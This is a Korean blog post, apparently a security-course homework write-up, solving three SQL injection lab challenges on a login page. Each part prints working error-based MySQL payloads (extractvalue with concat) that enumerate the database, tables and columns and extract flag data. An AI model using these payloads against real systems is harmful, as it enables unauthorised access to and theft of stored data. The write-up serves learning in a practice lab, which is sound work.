2023. 12. 7. 14:27ㆍnormaltic 취업반 5기/과제
SQL Injection 3번 문제
유효 계정 정보
- ID : normaltic
- Password : 1234
1) SQL Injection 작동 여부
해당 문제에서 SQL Injection이 작동하는지 알아보기 위해 유효 계정 정보를 사용한다.
테스트 결과 해당 문제에서는 SQL Injection을 사용 가능하다.
2) 사용 가능한 SQL Injection 종류 파악
SQL Injection 공격 종류는 총 3가지가 존재하며 각각 쓰이는 상황이 다르다.
- UNION SQL Injection : 쿼리문 출력 결과가 화면에 표시되는 경우
- Error Based SQL Injection : 쿼리문의 에러 메시지가 화면에 표시되는 경우
- Blind SQL Injection : 쿼리문의 결과가 참과 거짓인 경우
로그인 페이지 같은 경우 UNION SQL Injection 공격은 사용이 힘들기 때문에 나머지 두 공격이 가능한지 확인한다.
Error Based SQL Injection 공격에 쓰일 Payload를 입력했더니 에러 메시지가 출력되는 것으로 보아 해당 문제는 Error Based SQL Injection 공격이 가능하다는 의미다.
3) DB 이름 찾기
* 입력 SQL 쿼리문
normaltic' and extractvalue('1', concat(0x3a,(select database()))) and '1'='1
DB 이름 조회 결과 'sqli_2'라는 DB를 찾아냈다.
4) TABLE 이름 찾기
* 입력 SQL 쿼리문
normaltic' and extractvalue('1', concat(0x3a,(select table_name from information_schema.tables where table_schema='sqli_2' limit 0,1))) and '1'='1
TABLE 이름 조회 결과 'flag_table'라는 TABLE을 찾아냈다.
5) COLUMN 이름 찾기
* 입력 SQL 쿼리문
normaltic' and extractvalue('1', concat(0x3a,(select column_name from information_schema.columns where table_name = 'flag_table' limit 0,1))) and '1'='1
COLUMN 이름 조회 결과 'flag'라는 COLUMN을 찾아냈다.
6) DATA 추출
* 입력 SQL 쿼리문
normaltic' and extractvalue('1', concat(0x3a,(select flag from flag_table limit 0,1))) and '1'='1
찾아낸 정보들을 취합하여 'flag_table' 테이블에서 'flag' 컬럼을 조회했더니 해당 문제의 플레그를 찾아냈다.
SQL Injection 4번 문제
유효 계정 정보
- ID : normaltic
- Password : 1234
1) SQL Injection 작동 여부
해당 문제에서 SQL Injection이 작동하는지 알아보기 위해 유효 계정 정보를 사용한다.
테스트 결과 해당 문제에서는 SQL Injection을 사용 가능하다.
2) 사용 가능한 SQL Injection 종류 파악
로그인 페이지 같은 경우 UNION SQL Injection 공격은 사용이 힘들기 때문에 나머지 두 공격이 가능한지 확인한다.
Error Based SQL Injection 공격에 쓰일 Payload를 입력했더니 에러 메시지가 출력되는 것으로 보아 해당 문제는 Error Based SQL Injection 공격이 가능하다는 의미다.
3) DB 이름 찾기
* 입력 SQL 쿼리문
normaltic' and extractvalue('1', concat(0x3a,(select database()))) and '1'='1
DB 이름 조회 결과 'sqli_2_1'라는 DB를 찾아냈다.
4) TABLE 이름 찾기
* 입력 SQL 쿼리문
normaltic' and extractvalue('1', concat(0x3a,(select table_name from information_schema.tables where table_schema='sqli_2_1' limit 0,1))) and '1'='1
TABLE 이름 조회 결과 'flag_table'라는 TABLE을 찾아냈다.
5) COLUMN 이름 찾기
* 입력 SQL 쿼리문
normaltic' and extractvalue('1', concat(0x3a,(select column_name from information_schema.columns where table_name = 'flag_table' limit 0,1))) and '1'='1
COLUMN 이름 조회 결과 'flag1, flag2, flag3, flag4, flag5, flag6, flag7, flag8'라는 COLUMN들을 찾아냈다.
6) DATA 추출
* 입력 SQL 쿼리문
normaltic' and extractvalue('1', concat(0x3a,(select flag1 from flag_table limit 0,1))) and '1'='1
찾아낸 정보들을 취합하여 'flag_table' 테이블에서 'flag1, flag2, flag3, flag4, flag5, flag6, flag7, flag8' 컬럼들을 조회했더니 각 컬럼마다 플레그의 일부분이 저장되어 있다. 각 컬럼을 순서대로 조회한 결과를 합쳤더니 완성된 플레그를 찾아냈다.
SQL Injection 5번 문제
유효 계정 정보
- ID : normaltic
- Password : 1234
1) SQL Injection 작동 여부
해당 문제에서 SQL Injection이 작동하는지 알아보기 위해 유효 계정 정보를 사용한다.
테스트 결과 해당 문제에서는 SQL Injection을 사용 가능하다.
2) 사용 가능한 SQL Injection 종류 파악
로그인 페이지 같은 경우 UNION SQL Injection 공격은 사용이 힘들기 때문에 나머지 두 공격이 가능한지 확인한다.
Error Based SQL Injection 공격에 쓰일 Payload를 입력했더니 에러 메시지가 출력되는 것으로 보아 해당 문제는 Error Based SQL Injection 공격이 가능하다는 의미다.
3) DB 이름 찾기
* 입력 SQL 쿼리문
normaltic' and extractvalue('1', concat(0x3a,(select database()))) and '1'='1
DB 이름 조회 결과 'sqli_2_2'라는 DB를 찾아냈다.
4) TABLE 이름 찾기
* 입력 SQL 쿼리문
normaltic' and extractvalue('1', concat(0x3a,(select table_name from information_schema.tables where table_schema='sqli_2_2' limit 0,1))) and '1'='1
TABLE 이름 조회 결과 'flagTable_this'라는 TABLE을 찾아냈다.
5) COLUMN 이름 찾기
* 입력 SQL 쿼리문
normaltic' and extractvalue('1', concat(0x3a,(select column_name from information_schema.columns where table_name = 'flagTable_this' limit 0,1))) and '1'='1
normaltic' and extractvalue('1', concat(0x3a,(select column_name from information_schema.columns where table_name = 'flagTable_this' limit 1,1))) and '1'='1
COLUMN 이름 조회 결과 'idx, flag'라는 COLUMN들을 찾아냈다.
6) DATA 추출
* 입력 SQL 쿼리문
normaltic' and extractvalue('1', concat(0x3a,(select flag from flagTable_this limit 13,1))) and '1'='1
찾아낸 정보들을 취합하여 'flagTable_this' 테이블에서 'flag' 컬럼을 조회했더니 'flag' 컬럼에 저장되어 있는 순서 중 14번째 순서에서 플레그를 찾아냈다.
'normaltic 취업반 5기 > 과제' 카테고리의 다른 글
[normaltic 취업반 5기] 2023-12-13 8주차 과제 : 2번 과제 SQL Injection 공격 기법 정리 (0) | 2023.12.16 |
---|---|
[normaltic 취업반 5기] 2023-12-06 7주차 과제 : SQL 6번 문제 (0) | 2023.12.07 |
[normaltic 취업반 5기] 2023-12-02 6주차 과제 : 3번 과제 (2) | 2023.12.02 |
[normaltic 취업반 5기] 2023-11-29 6주차 과제 : 2번 과제 (0) | 2023.11.30 |
[normaltic 취업반 5기] 2023-11-15 4주차 과제 : 2번 과제 (0) | 2023.11.17 |